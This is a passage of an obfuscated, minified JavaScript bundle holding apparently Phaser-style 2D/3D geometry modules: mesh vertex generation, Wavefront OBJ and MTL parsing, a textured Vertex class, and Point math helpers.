_0x26c1fa, _0x265e2d)['transformMat4'](_0x12fab1), _0x14ffa3 = new _0xb474ec(_0x14b55a[_0x1bc0af], _0x14b55a[_0x1bc0af + 0x1], 0x0, _0x10b0ba[_0x1bc0af], _0x10b0ba[_0x1bc0af + 0x1], _0x26c1fa, _0x265e2d)['transformMat4'](_0x12fab1), _0xf8c545 = new _0xb474ec(_0x14b55a[_0x5083e5], _0x14b55a[_0x5083e5 + 0x1], 0x0, _0x10b0ba[_0x5083e5], _0x10b0ba[_0x5083e5 + 0x1], _0x26c1fa, _0x265e2d)['transformMat4'](_0x12fab1), _0x17340c = new _0xb474ec(_0x14b55a[_0x1bc0af], _0x14b55a[_0x1bc0af + 0x1], 0x0, _0x10b0ba[_0x1bc0af], _0x10b0ba[_0x1bc0af + 0x1], _0x26c1fa, _0x265e2d)['transformMat4'](_0x12fab1), _0x144b6d = new _0xb474ec(_0x14b55a[_0x1a6115], _0x14b55a[_0x1a6115 + 0x1], 0x0, _0x10b0ba[_0x1a6115], _0x10b0ba[_0x1a6115 + 0x1], _0x26c1fa, _0x265e2d)['transformMat4'](_0x12fab1), _0x4010b5 = new _0xb474ec(_0x14b55a[_0x5083e5], _0x14b55a[_0x5083e5 + 0x1], 0x0, _0x10b0ba[_0x5083e5], _0x10b0ba[_0x5083e5 + 0x1], _0x26c1fa, _0x265e2d)['transformMat4'](_0x12fab1); _0x28d171 && (_0x4080f4['setUVs'](_0x38f010, _0x4513d0), _0x14ffa3['setUVs'](_0x38f010, _0x4882a6), _0xf8c545['setUVs'](_0x471906, _0x4513d0), _0x17340c['setUVs'](_0x38f010, _0x4882a6), _0x144b6d['setUVs'](_0x471906, _0x4882a6), _0x4010b5['setUVs'](_0x471906, _0x4513d0)), ++_0x4f0033 === _0x1d3e4e['length'] && (_0x4f0033 = 0x0), ++_0x530652 === _0x3cd279['length'] && (_0x530652 = 0x0), _0x5dc8dd['verts']['push'](_0x4080f4, _0x14ffa3, _0xf8c545, _0x17340c, _0x144b6d, _0x4010b5), _0x5dc8dd['faces']['push'](new _0x4995ac(_0x4080f4, _0x14ffa3, _0xf8c545), new _0x4995ac(_0x17340c, _0x144b6d, _0x4010b5)); } return _0x491bca && (_0x491bca['faces'] = _0x491bca['faces']['concat'](_0x5dc8dd['faces']), _0x491bca['vertices'] = _0x491bca['vertices']['concat'](_0x5dc8dd['verts'])), _0x5dc8dd; }; }, 0x877c: (_0x489b32, _0xeb3f2a, _0x1e62dd) => { var _0x5ed575 = _0x1e62dd(0x1481d), _0x20702d = _0x1e62dd(0x93eb), _0x3d978a = _0x1e62dd(0x64ec), _0x3128c8 = _0x1e62dd(0x9996), _0x6fab91 = new _0x3d978a(), _0x3bc5ec = new _0x3d978a(), _0x240912 = new _0x20702d(); _0x489b32['exports'] = function (_0x5e66ce, _0x116ef5, _0x21e111, _0x1e17dd, _0x2c340b, _0x56befc, _0x321279, _0x4baa8d, _0x4e9953, _0xe863b3) { void 0x0 === _0x21e111 && (_0x21e111 = 0x1), void 0x0 === _0x1e17dd && (_0x1e17dd = 0x0), void 0x0 === _0x2c340b && (_0x2c340b = 0x0), void 0x0 === _0x56befc && (_0x56befc = 0x0), void 0x0 === _0x321279 && (_0x321279 = 0x0), void 0x0 === _0x4baa8d && (_0x4baa8d = 0x0), void 0x0 === _0x4e9953 && (_0x4e9953 = 0x0), void 0x0 === _0xe863b3 && (_0xe863b3 = !0x0); var _0x1bac79 = { 'faces': [], 'verts': [] }, _0x5643a8 = _0x5e66ce['materials']; _0x6fab91['set'](_0x1e17dd, _0x2c340b, _0x56befc), _0x3bc5ec['set'](_0x321279, _0x4baa8d, _0x4e9953), _0x240912['fromRotationXYTranslation'](_0x3bc5ec, _0x6fab91, _0xe863b3); for (var _0x4078c5 = 0x0; _0x4078c5 < _0x5e66ce['models']['length']; _0x4078c5++)for (var _0x550178 = _0x5e66ce['models'][_0x4078c5], _0x181217 = _0x550178['vertices'], _0x16c536 = _0x550178['textureCoords'], _0x1ee70a = _0x550178['faces'], _0x1777a3 = 0x0; _0x1777a3 < _0x1ee70a['length']; _0x1777a3++) { var _0x56cd89 = _0x1ee70a[_0x1777a3], _0x5c2042 = _0x56cd89['vertices'][0x0], _0x44b267 = _0x56cd89['vertices'][0x1], _0x2803f0 = _0x56cd89['vertices'][0x2], _0x9634a7 = _0x181217[_0x5c2042['vertexIndex']], _0x52c5ab = _0x181217[_0x44b267['vertexIndex']], _0x63bd69 = _0x181217[_0x2803f0['vertexIndex']], _0x1c5beb = _0x5c2042['textureCoordsIndex'], _0x4b4139 = _0x44b267['textureCoordsIndex'], _0x2bbb99 = _0x2803f0['textureCoordsIndex'], _0x530316 = -0x1 === _0x1c5beb ? { 'u': 0x0, 'v': 0x1 } : _0x16c536[_0x1c5beb], _0x38ba39 = -0x1 === _0x4b4139 ? { 'u': 0x0, 'v': 0x0 } : _0x16c536[_0x4b4139], _0x3db39d = -0x1 === _0x2bbb99 ? { 'u': 0x1, 'v': 0x1 } : _0x16c536[_0x2bbb99], _0x512425 = 0xffffff; '' !== _0x56cd89['material'] && _0x5643a8[_0x56cd89['material']] && (_0x512425 = _0x5643a8[_0x56cd89['material']]); var _0x375c98 = new _0x3128c8(_0x9634a7['x'] * _0x21e111, _0x9634a7['y'] * _0x21e111, _0x9634a7['z'] * _0x21e111, _0x530316['u'], _0x530316['v'], _0x512425)['transformMat4'](_0x240912), _0x51b34e = new _0x3128c8(_0x52c5ab['x'] * _0x21e111, _0x52c5ab['y'] * _0x21e111, _0x52c5ab['z'] * _0x21e111, _0x38ba39['u'], _0x38ba39['v'], _0x512425)['transformMat4'](_0x240912), _0x571dc7 = new _0x3128c8(_0x63bd69['x'] * _0x21e111, _0x63bd69['y'] * _0x21e111, _0x63bd69['z'] * _0x21e111, _0x3db39d['u'], _0x3db39d['v'], _0x512425)['transformMat4'](_0x240912); _0x1bac79['verts']['push'](_0x375c98, _0x51b34e, _0x571dc7), _0x1bac79['faces']['push'](new _0x5ed575(_0x375c98, _0x51b34e, _0x571dc7)); } return _0x116ef5 && (_0x116ef5['faces'] = _0x116ef5['faces']['concat'](_0x1bac79['faces']), _0x116ef5['vertices'] = _0x116ef5['vertices']['concat'](_0x1bac79['verts'])), _0x1bac79; }; }, 0x16963: (_0x5cfcca, _0x2a7bc6, _0x1dc102) => { var _0x533680 = _0x1dc102(0x1481d), _0x3367a2 = _0x1dc102(0x9996); _0x5cfcca['exports'] = function (_0xe5da15, _0x4ce911, _0x2c58ce, _0x5780a3, _0x3d18cf, _0x967313, _0x28f8f4, _0x4d20bf) { if (void 0x0 === _0x5780a3 && (_0x5780a3 = !0x1), void 0x0 === _0x967313 && (_0x967313 = 0xffffff), void 0x0 === _0x28f8f4 && (_0x28f8f4 = 0x1), void 0x0 === _0x4d20bf && (_0x4d20bf = !0x1), _0xe5da15['length'] === _0x4ce911['length'] || _0x5780a3) { var _0x5d9b5e, _0x599798, _0x45b997, _0x2e2835, _0x24b122, _0x914c4f, _0x3370ff, _0x1efe86, _0x5c7370, _0x46f1e1, _0x2ae04d, _0xe7e993 = { 'faces': [], 'vertices': [] }, _0x396d4f = _0x5780a3 ? 0x3 : 0x2, _0x7bd982 = Array['isArray'](_0x967313), _0x165296 = Array['isArray'](_0x28f8f4); if (Array['isArray'](_0x2c58ce) && _0x2c58ce['length'] > 0x0) for (_0x5d9b5e = 0x0; _0x5d9b5e < _0x2c58ce['length']; _0x5d9b5e++) { var _0x4196b5 = _0x2c58ce[_0x5d9b5e], _0x74b358 = 0x2 * _0x2c58ce[_0x5d9b5e], _0x2f55ee = _0x2c58ce[_0x5d9b5e] * _0x396d4f; _0x599798 = _0xe5da15[_0x2f55ee], _0x45b997 = _0xe5da15[_0x2f55ee + 0x1], _0x2e2835 = _0x5780a3 ? _0xe5da15[_0x2f55ee + 0x2] : 0x0, _0x24b122 = _0x4ce911[_0x74b358], _0x914c4f = _0x4ce911[_0x74b358 + 0x1], _0x4d20bf && (_0x914c4f = 0x1 - _0x914c4f), _0x3370ff = _0x7bd982 ? _0x967313[_0x4196b5] : _0x967313, _0x1efe86 = _0x165296 ? _0x28f8f4[_0x4196b5] : _0x28f8f4, _0x5c7370 = 0x0, _0x46f1e1 = 0x0, _0x2ae04d = 0x0, _0x3d18cf && (_0x5c7370 = _0x3d18cf[_0x2f55ee], _0x46f1e1 = _0x3d18cf[_0x2f55ee + 0x1], _0x2ae04d = _0x5780a3 ? _0x3d18cf[_0x2f55ee + 0x2] : 0x0), _0xe7e993['vertices']['push'](new _0x3367a2(_0x599798, _0x45b997, _0x2e2835, _0x24b122, _0x914c4f, _0x3370ff, _0x1efe86, _0x5c7370, _0x46f1e1, _0x2ae04d)); } else { var _0x3e4341 = 0x0, _0x39d33b = 0x0; for (_0x5d9b5e = 0x0; _0x5d9b5e < _0xe5da15['length']; _0x5d9b5e += _0x396d4f)_0x599798 = _0xe5da15[_0x5d9b5e], _0x45b997 = _0xe5da15[_0x5d9b5e + 0x1], _0x2e2835 = _0x5780a3 ? _0xe5da15[_0x5d9b5e + 0x2] : 0x0, _0x24b122 = _0x4ce911[_0x3e4341], _0x914c4f = _0x4ce911[_0x3e4341 + 0x1], _0x3370ff = _0x7bd982 ? _0x967313[_0x39d33b] : _0x967313, _0x1efe86 = _0x165296 ? _0x28f8f4[_0x39d33b] : _0x28f8f4, _0x5c7370 = 0x0, _0x46f1e1 = 0x0, _0x2ae04d = 0x0, _0x3d18cf && (_0x5c7370 = _0x3d18cf[_0x5d9b5e], _0x46f1e1 = _0x3d18cf[_0x5d9b5e + 0x1], _0x2ae04d = _0x5780a3 ? _0x3d18cf[_0x5d9b5e + 0x2] : 0x0), _0xe7e993['vertices']['push'](new _0x3367a2(_0x599798, _0x45b997, _0x2e2835, _0x24b122, _0x914c4f, _0x3370ff, _0x1efe86, _0x5c7370, _0x46f1e1, _0x2ae04d)), _0x3e4341 += 0x2, _0x39d33b++; } for (_0x5d9b5e = 0x0; _0x5d9b5e < _0xe7e993['vertices']['length']; _0x5d9b5e += 0x3) { var _0x4b5c85 = _0xe7e993['vertices'][_0x5d9b5e], _0x5a33b1 = _0xe7e993['vertices'][_0x5d9b5e + 0x1], _0x538ca6 = _0xe7e993['vertices'][_0x5d9b5e + 0x2]; _0xe7e993['faces']['push'](new _0x533680(_0x4b5c85, _0x5a33b1, _0x538ca6)); } return _0xe7e993; } }; }, 0x14c38: _0x438cf1 => { var _0x57518d = !0x0, _0x37b54b = 'untitled', _0x363581 = '', _0x4de297 = ''; function _0x2ca413(_0x43a242) { var _0x297f2b = _0x43a242['indexOf']('#'); return _0x297f2b > -0x1 ? _0x43a242['substring'](0x0, _0x297f2b) : _0x43a242; } function _0x279214(_0x335c48) { return 0x0 === _0x335c48['models']['length'] && _0x335c48['models']['push']({ 'faces': [], 'name': _0x37b54b, 'textureCoords': [], 'vertexNormals': [], 'vertices': [] }), _0x363581 = '', _0x335c48['models'][_0x335c48['models']['length'] - 0x1]; } function _0x47b01c(_0x162cd8, _0x116db3) { var _0x530a9c = _0x162cd8['length'] >= 0x2 ? _0x162cd8[0x1] : _0x37b54b; _0x116db3['models']['push']({ 'faces': [], 'name': _0x530a9c, 'textureCoords': [], 'vertexNormals': [], 'vertices': [] }), _0x363581 = ''; } function _0x1d92bf(_0x46714b) { 0x2 === _0x46714b['length'] && (_0x363581 = _0x46714b[0x1]); } function _0x3d33f5(_0x570596, _0x4d0158) { var _0x4eb631 = _0x570596['length'], _0x443f16 = _0x4eb631 >= 0x2 ? parseFloat(_0x570596[0x1]) : 0x0, _0x6020b4 = _0x4eb631 >= 0x3 ? parseFloat(_0x570596[0x2]) : 0x0, _0x3215b9 = _0x4eb631 >= 0x4 ? parseFloat(_0x570596[0x3]) : 0x0; _0x279214(_0x4d0158)['vertices']['push']({ 'x': _0x443f16, 'y': _0x6020b4, 'z': _0x3215b9 }); } function _0x2c86ad(_0x37dbf3, _0x5ac1d6) { var _0x3a326b = _0x37dbf3['length'], _0x2c7610 = _0x3a326b >= 0x2 ? parseFloat(_0x37dbf3[0x1]) : 0x0, _0x559b87 = _0x3a326b >= 0x3 ? parseFloat(_0x37dbf3[0x2]) : 0x0, _0x44f1c0 = _0x3a326b >= 0x4 ? parseFloat(_0x37dbf3[0x3]) : 0x0; isNaN(_0x2c7610) && (_0x2c7610 = 0x0), isNaN(_0x559b87) && (_0x559b87 = 0x0), isNaN(_0x44f1c0) && (_0x44f1c0 = 0x0), _0x57518d && (_0x559b87 = 0x1 - _0x559b87), _0x279214(_0x5ac1d6)['textureCoords']['push']({ 'u': _0x2c7610, 'v': _0x559b87, 'w': _0x44f1c0 }); } function _0x357031(_0x584f53, _0x35eafc) { var _0x25ab8a = _0x584f53['length'], _0x516439 = _0x25ab8a >= 0x2 ? parseFloat(_0x584f53[0x1]) : 0x0, _0x56bf85 = _0x25ab8a >= 0x3 ? parseFloat(_0x584f53[0x2]) : 0x0, _0x4f898d = _0x25ab8a >= 0x4 ? parseFloat(_0x584f53[0x3]) : 0x0; _0x279214(_0x35eafc)['vertexNormals']['push']({ 'x': _0x516439, 'y': _0x56bf85, 'z': _0x4f898d }); } function _0x32f0e8(_0x34e026, _0x2f52cc) { var _0x5028c9 = _0x34e026['length'] - 0x1; if (!(_0x5028c9 < 0x3)) { for (var _0x505c6f = { 'group': _0x363581, 'material': _0x4de297, 'vertices': [] }, _0x465b8b = 0x0; _0x465b8b < _0x5028c9; _0x465b8b++) { var _0x95be80 = _0x34e026[_0x465b8b + 0x1]['split']('/'), _0x108552 = _0x95be80['length']; if (!(_0x108552 < 0x1 || _0x108552 > 0x3)) { var _0x20bb92 = 0x0, _0x27bfdd = 0x0, _0x577fbf = 0x0; _0x20bb92 = parseInt(_0x95be80[0x0], 0xa), _0x108552 > 0x1 && '' !== _0x95be80[0x1] && (_0x27bfdd = parseInt(_0x95be80[0x1], 0xa)), _0x108552 > 0x2 && (_0x577fbf = parseInt(_0x95be80[0x2], 0xa)), 0x0 !== _0x20bb92 && (_0x20bb92 < 0x0 && (_0x20bb92 = _0x279214(_0x2f52cc)['vertices']['length'] + 0x1 + _0x20bb92), _0x27bfdd -= 0x1, _0x20bb92 -= 0x1, _0x577fbf -= 0x1, _0x505c6f['vertices']['push']({ 'textureCoordsIndex': _0x27bfdd, 'vertexIndex': _0x20bb92, 'vertexNormalIndex': _0x577fbf })); } } _0x279214(_0x2f52cc)['faces']['push'](_0x505c6f); } } function _0x1962e1(_0x43b72b, _0x5a6335) { _0x43b72b['length'] >= 0x2 && _0x5a6335['materialLibraries']['push'](_0x43b72b[0x1]); } function _0x12ecbe(_0x15034f) { _0x15034f['length'] >= 0x2 && (_0x4de297 = _0x15034f[0x1]); } _0x438cf1['exports'] = function (_0xcbf462, _0x5535e5) { void 0x0 === _0x5535e5 && (_0x5535e5 = !0x0), _0x57518d = _0x5535e5; var _0x536212 = { 'materials': {}, 'materialLibraries': [], 'models': [] }; _0x363581 = '', _0x4de297 = ''; for (var _0xe45510 = _0xcbf462['split']('\x0a'), _0x590514 = 0x0; _0x590514 < _0xe45510['length']; _0x590514++) { var _0x58165b = _0x2ca413(_0xe45510[_0x590514])['replace'](/\s\s+/g, '\x20')['trim']()['split']('\x20'); switch (_0x58165b[0x0]['toLowerCase']()) { case 'o': _0x47b01c(_0x58165b, _0x536212); break; case 'g': _0x1d92bf(_0x58165b); break; case 'v': _0x3d33f5(_0x58165b, _0x536212); break; case 'vt': _0x2c86ad(_0x58165b, _0x536212); break; case 'vn': _0x357031(_0x58165b, _0x536212); break; case 'f': _0x32f0e8(_0x58165b, _0x536212); break; case 'mtllib': _0x1962e1(_0x58165b, _0x536212); break; case 'usemtl': _0x12ecbe(_0x58165b); } } return _0x536212; }; }, 0xf02d: (_0x2656e3, _0x3c5ef8, _0x593fb5) => { var _0x30de1c = _0x593fb5(0x92d5); _0x2656e3['exports'] = function (_0x41a3d3) { for (var _0x4b7e0d = {}, _0x238b75 = _0x41a3d3['split']('\x0a'), _0x2e8082 = '', _0x7f17fe = 0x0; _0x7f17fe < _0x238b75['length']; _0x7f17fe++) { var _0x4527c9 = _0x238b75[_0x7f17fe]['trim'](); if (0x0 !== _0x4527c9['indexOf']('#') && '' !== _0x4527c9) { var _0x2f1af3 = _0x4527c9['replace'](/\s\s+/g, '\x20')['trim']()['split']('\x20'); switch (_0x2f1af3[0x0]['toLowerCase']()) { case 'newmtl': _0x2e8082 = _0x2f1af3[0x1]; break; case 'kd': var _0x104785 = Math['floor'](0xff * _0x2f1af3[0x1]), _0x5e259f = _0x2f1af3['length'] >= 0x2 ? Math['floor'](0xff * _0x2f1af3[0x2]) : _0x104785, _0x2dfe40 = _0x2f1af3['length'] >= 0x3 ? Math['floor'](0xff * _0x2f1af3[0x3]) : _0x104785; _0x4b7e0d[_0x2e8082] = _0x30de1c(_0x104785, _0x5e259f, _0x2dfe40); } } } return _0x4b7e0d; }; }, 0x1699a: _0x46a21c => { _0x46a21c['exports'] = function (_0x11b372, _0x30460f, _0x395c0f, _0x31f69d) { var _0x5731ad, _0x3616ce; if (void 0x0 === _0x395c0f && void 0x0 === _0x31f69d) { var _0x7589a5 = _0x11b372['getInCenter'](); _0x5731ad = _0x7589a5['x'], _0x3616ce = _0x7589a5['y']; } var _0x216db2 = Math['cos'](_0x30460f), _0x21cec1 = Math['sin'](_0x30460f), _0x1c35fc = _0x11b372['vertex1'], _0x8b3139 = _0x11b372['vertex2'], _0x5229d1 = _0x11b372['vertex3'], _0x2fe26f = _0x1c35fc['x'] - _0x5731ad, _0x13ba60 = _0x1c35fc['y'] - _0x3616ce; _0x1c35fc['set'](_0x2fe26f * _0x216db2 - _0x13ba60 * _0x21cec1 + _0x5731ad, _0x2fe26f * _0x21cec1 + _0x13ba60 * _0x216db2 + _0x3616ce), _0x2fe26f = _0x8b3139['x'] - _0x5731ad, _0x13ba60 = _0x8b3139['y'] - _0x3616ce, _0x8b3139['set'](_0x2fe26f * _0x216db2 - _0x13ba60 * _0x21cec1 + _0x5731ad, _0x2fe26f * _0x21cec1 + _0x13ba60 * _0x216db2 + _0x3616ce), _0x2fe26f = _0x5229d1['x'] - _0x5731ad, _0x13ba60 = _0x5229d1['y'] - _0x3616ce, _0x5229d1['set'](_0x2fe26f * _0x216db2 - _0x13ba60 * _0x21cec1 + _0x5731ad, _0x2fe26f * _0x21cec1 + _0x13ba60 * _0x216db2 + _0x3616ce); }; }, 0x9996: (_0x4033ff, _0x384b67, _0x3a909f) => { var _0x3c7bd4 = _0x3a909f(0x145db), _0x1a4e61 = _0x3a909f(0x1139a), _0x46a321 = _0x3a909f(0x64ec), _0x18244c = new _0x3c7bd4({ 'Extends': _0x46a321, 'initialize': function (_0x243de6, _0x53b0e1, _0x146001, _0x2e610a, _0x2769ea, _0xfde884, _0x12e589, _0x3f843a, _0xcc8a49, _0x7d3a40) { void 0x0 === _0xfde884 && (_0xfde884 = 0xffffff), void 0x0 === _0x12e589 && (_0x12e589 = 0x1), void 0x0 === _0x3f843a && (_0x3f843a = 0x0), void 0x0 === _0xcc8a49 && (_0xcc8a49 = 0x0), void 0x0 === _0x7d3a40 && (_0x7d3a40 = 0x0), _0x46a321['call'](this, _0x243de6, _0x53b0e1, _0x146001), this['vx'] = 0x0, this['vy'] = 0x0, this['vz'] = 0x0, this['nx'] = _0x3f843a, this['ny'] = _0xcc8a49, this['nz'] = _0x7d3a40, this['u'] = _0x2e610a, this['v'] = _0x2769ea, this['color'] = _0xfde884, this['alpha'] = _0x12e589, this['tx'] = 0x0, this['ty'] = 0x0, this['ta'] = 0x0, this['tu'] = _0x2e610a, this['tv'] = _0x2769ea; }, 'setUVs': function (_0x31e181, _0x32ad3e) { return this['u'] = _0x31e181, this['v'] = _0x32ad3e, this['tu'] = _0x31e181, this['tv'] = _0x32ad3e, this; }, 'scrollUV': function (_0x1f6460, _0x35c1f0) { return this['tu'] += _0x1f6460, this['tv'] += _0x35c1f0, this; }, 'scaleUV': function (_0x235fb6, _0x457f1c) { return this['tu'] = this['u'] * _0x235fb6, this['tv'] = this['v'] * _0x457f1c, this; }, 'transformCoordinatesLocal': function (_0x3d461f, _0x971c9a, _0x3c6f9d, _0x16ff4a) { var _0x2375f8 = this['x'], _0x421a4b = this['y'], _0x226f9d = this['z'], _0x5b15ca = _0x3d461f['val'], _0x66b3e = _0x2375f8 * _0x5b15ca[0x0] + _0x421a4b * _0x5b15ca[0x4] + _0x226f9d * _0x5b15ca[0x8] + _0x5b15ca[0xc], _0x4270eb = _0x2375f8 * _0x5b15ca[0x1] + _0x421a4b * _0x5b15ca[0x5] + _0x226f9d * _0x5b15ca[0x9] + _0x5b15ca[0xd], _0x2bd933 = _0x2375f8 * _0x5b15ca[0x2] + _0x421a4b * _0x5b15ca[0x6] + _0x226f9d * _0x5b15ca[0xa] + _0x5b15ca[0xe], _0x3ec507 = _0x2375f8 * _0x5b15ca[0x3] + _0x421a4b * _0x5b15ca[0x7] + _0x226f9d * _0x5b15ca[0xb] + _0x5b15ca[0xf]; this['vx'] = _0x66b3e / _0x3ec507 * _0x971c9a, this['vy'] = -_0x4270eb / _0x3ec507 * _0x3c6f9d, this['vz'] = _0x16ff4a <= 0x0 ? _0x2bd933 / _0x3ec507 : -_0x2bd933 / _0x3ec507; }, 'resize': function (_0x295a15, _0x2029f2, _0x12e568, _0xb64fa5, _0x4d00f0, _0x3e941b) { return this['x'] = _0x295a15, this['y'] = _0x2029f2, this['vx'] = this['x'] * _0x12e568, this['vy'] = -this['y'] * _0xb64fa5, this['vz'] = 0x0, _0x4d00f0 < 0.5 ? this['vx'] += _0x12e568 * (0.5 - _0x4d00f0) : _0x4d00f0 > 0.5 && (this['vx'] -= _0x12e568 * (_0x4d00f0 - 0.5)), _0x3e941b < 0.5 ? this['vy'] += _0xb64fa5 * (0.5 - _0x3e941b) : _0x3e941b > 0.5 && (this['vy'] -= _0xb64fa5 * (_0x3e941b - 0.5)), this; }, 'update': function (_0x13702d, _0x167da8, _0x329619, _0x70c8b0, _0x3f25d5, _0x50a94f, _0x24c78e, _0x51df3e) { var _0x4315d2 = this['vx'] * _0x13702d + this['vy'] * _0x329619 + _0x3f25d5, _0xc5cd44 = this['vx'] * _0x167da8 + this['vy'] * _0x70c8b0 + _0x50a94f; return _0x24c78e && (_0x4315d2 = Math['round'](_0x4315d2), _0xc5cd44 = Math['round'](_0xc5cd44)), this['tx'] = _0x4315d2, this['ty'] = _0xc5cd44, this['ta'] = this['alpha'] * _0x51df3e, this; }, 'load': function (_0xaebfaf, _0x652519, _0x11c53a, _0x1df4ea, _0x5ed8c4) { return _0xaebfaf[++_0x11c53a] = this['tx'], _0xaebfaf[++_0x11c53a] = this['ty'], _0xaebfaf[++_0x11c53a] = this['tu'], _0xaebfaf[++_0x11c53a] = this['tv'], _0xaebfaf[++_0x11c53a] = _0x1df4ea, _0xaebfaf[++_0x11c53a] = _0x5ed8c4, _0x652519[++_0x11c53a] = _0x1a4e61['getTintAppendFloatAlpha'](this['color'], this['ta']), _0x11c53a; } }); _0x4033ff['exports'] = _0x18244c; }, 0x11d82: (_0x4c2261, _0x425177, _0x5b15fc) => { var _0x34045c = { 'Face': _0x5b15fc(0x1481d), 'GenerateGridVerts': _0x5b15fc(0xbea3), 'GenerateObjVerts': _0x5b15fc(0x877c), 'GenerateVerts': _0x5b15fc(0x16963), 'ParseObj': _0x5b15fc(0x14c38), 'ParseObjMaterial': _0x5b15fc(0xf02d), 'RotateFace': _0x5b15fc(0x1699a), 'Vertex': _0x5b15fc(0x9996) }; _0x4c2261['exports'] = _0x34045c; }, 0x17926: _0x4fa1de => { _0x4fa1de['exports'] = function (_0x180572) { return _0x180572['setTo'](Math['ceil'](_0x180572['x']), Math['ceil'](_0x180572['y'])); }; }, 0x1857a: (_0x45681d, _0x44210b, _0x58463a) => { var _0x2c22cc = _0x58463a(0x85d); _0x45681d['exports'] = function (_0x1c3184) { return new _0x2c22cc(_0x1c3184['x'], _0x1c3184['y']); }; }, 0x109aa: _0x9d755c => { _0x9d755c['exports'] = function (_0x1ccdcc, _0x2c02f) { return _0x2c02f['setTo'](_0x1ccdcc['x'], _0x1ccdcc['y']); }; }, 0x6ca6: _0x33b91e => { _0x33b91e['exports'] = function (_0x446128, _0x4fde65) { return _0x446128['x'] === _0x4fde65['x'] && _0x446128['y'] === _0x4fde65['y']; }; }, 0x11f5d: _0x29783a => { _0x29783a['exports'] = function (_0x2d8950) { return _0x2d8950['setTo'](Math['floor'](_0x2d8950['x']), Math['floor'](_0x2d8950['y'])); }; }, 0x15603: (_0x260c7c, _0x353d14, _0xe135ae) => { var _0x107f16 = _0xe135ae(0x85d); _0x260c7c['exports'] = function (_0x56e957, _0xdda4eb) { if (void 0x0 === _0xdda4eb && (_0xdda4eb = new _0x107f16()), !Array['isArray'](_0x56e957)) throw new Error('GetCentroid\x20points\x20argument\x20must\x20be\x20an\x20array'); var _0x183fa1 = _0x56e957['length']; if (_0x183fa1 < 0x1) throw new Error('GetCentroid\x20points\x20array\x20must\x20not\x20be\x20empty'); if (0x1 === _0x183fa1) _0xdda4eb['x'] = _0x56e957[0x0]['x'], _0xdda4eb['y'] = _0x56e957[0x0]['y']; else { for (var _0x4c84c6 = 0x0; _0x4c84c6 < _0x183fa1; _0x4c84c6++)_0xdda4eb['x'] += _0x56e957[_0x4c84c6]['x'], _0xdda4eb['y'] += _0x56e957[_0x4c84c6]['y']; _0xdda4eb['x'] /= _0x183fa1, _0xdda4eb['y'] /= _0x183fa1; } return _0xdda4eb; }; }, 0x7079: _0x54fb77 => { _0x54fb77['exports'] = function (_0x5f4123) { return Math['sqrt'](_0x5f4123['x'] * _0x5f4123['x'] + _0x5f4123['y'] * _0x5f4123['y']); }; }, 0xad75: _0x3c65a4 => { _0x3c65a4['exports'] = function (_0xe7a25) { return _0xe7a25['x'] * _0xe7a25['x'] + _0xe7a25['y'] * _0xe7a25['y']; }; }, 0x5189: (_0x20e7a8, _0x5d53ed, _0x95e38f) => { var _0x3dddd2 = _0x95e38f(0x15721); _0x20e7a8['exports'] = function (_0x5f59ae, _0x2769c4) { void 0x0 === _0x2769c4 && (_0x2769c4 = new _0x3dddd2()); for (var _0x53d9e9 = Number['NEGATIVE_INFINITY'], _0x5999db = Number['POSITIVE_INFINITY'], _0x297ccd = Number['NEGATIVE_INFINITY'], _0x34758b = Number['POSITIVE_INFINITY'], _0x1e0393 = 0x0; _0x1e0393 < _0x5f59ae['length']; _0x1e0393++) { var _0x5a1d3c = _0x5f59ae[_0x1e0393]; _0x5a1d3c['x'] > _0x53d9e9 && (_0x53d9e9 = _0x5a1d3c['x']), _0x5a1d3c['x'] < _0x5999db && (_0x5999db = _0x5a1d3c['x']), _0x5a1d3c['y'] > _0x297ccd && (_0x297ccd = _0x5a1d3c['y']), _0x5a1d3c['y'] < _0x34758b && (_0x34758b = _0x5a1d3c['y']); } return _0x2769c4['x'] = _0x5999db, _0x2769c4['y'] = _0x34758b, _0x2769c4['width'] = _0x53d9e9 - _0x5999db, _0x2769c4['height'] = _0x297ccd - _0x34758b, _0x2769c4; }; }, 0x6628: (_0x50a883, _0x34f054, _0x24c007) => { var _0xdae6e = _0x24c007(0x85d); _0x50a883['exports'] = function (_0x1f555e, _0xcf6c2a, _0x99a86e, _0x1aa6cf) { return void 0x0 === _0x99a86e && (_0x99a86e = 0x0), void 0x0 === _0x1aa6cf && (_0x1aa6cf = new _0xdae6e()), _0x1aa6cf['x'] = _0x1f555e['x'] + (_0xcf6c2a['x'] - _0x1f555e['x']) * _0x99a86e, _0x1aa6cf['y'] = _0x1f555e['y'] + (_0xcf6c2a['y'] - _0x1f555e['y']) * _0x99a86e, _0x1aa6cf; }; }, 0xd9d7: _0x5ab4ba => { _0x5ab4ba['exports'] = function (_0x537771) { return _0x537771['setTo'](_0x537771['y'], _0x537771['x']); }; }, 0x13648: (_0xff117c, _0x23d065, _0x455780) => { var _0x56bcea = _0x455780(0x85d); _0xff117c['exports'] = function (_0x59ec36, _0x5b751b) { return void 0x0 === _0x5b751b && (_0x5b751b = new _0x56bcea()), _0x5b751b['setTo'](-_0x59ec36['x'], -_0x59ec36['y']); }; }, 0x85d: (_0x503c44, _0x329d53, _0x191db6) => { var _0x195350 = _0x191db6(0x145db), _0x8a3de9 = _0x191db6(0x5ce1), _0x538224 = new _0x195350({ 'initialize': function (_0x224fdb, _0x2077f6) { void 0x0 === _0x224fdb && (_0x224fdb = 0x0), void 0x0 === _0x2077f6 && (_0x2077f6 = _0x224fdb), this['type'] = _0x8a3de9['POINT'], this['x'] = _0x224fdb, this['y'] = _0x2077f6; }, 'setTo': function (_0x4273ff, _0xcfa990) { return void 0x0 === _0x4273ff && (_0x4273ff = 0x0), void 0x0 === _0xcfa990 && (_0xcfa990 = _0x4273ff), this['x'] = _0x4273ff, this['y'] = _0xcfa990, this; } }); _0x503c44['exports'] = _0x538224; }, 0x11ce2: (_0x4bcd67, _0x3c4888, _0xd3f060) => { var _0x1f3ef2 = _0xd3f060(0x85d), _0x36aa9b = _0xd3f060(0xad75); _0x4bcd67['exports'] = function (_0x1aaf2c, _0x4ae846, _0x4463ab) { void 0x0 === _0x4463ab && (_0x4463ab = new _0x1f3ef2()); var _0x327337 = (_0x1aaf2c['x'] * _0x4ae846['x'] + _0x1aaf2c['y'] * _0x4ae846['y']) / _0x36aa9b(_0x4ae846); return 0x0 !== _0x327337 && (_0x4463ab['x'] = _0x327337 * _0x4ae846['x'], _0x4463ab['y'] = _0x327337 * _0x4ae846['y']), _0x4463ab; }; }, 0xf5a0: (_0x4aea14, _0x42ad26, _0x59b4d3) => { var _0x5521f5 = _0x59b4d3(0x85d); _0x4aea14['exports'] = function 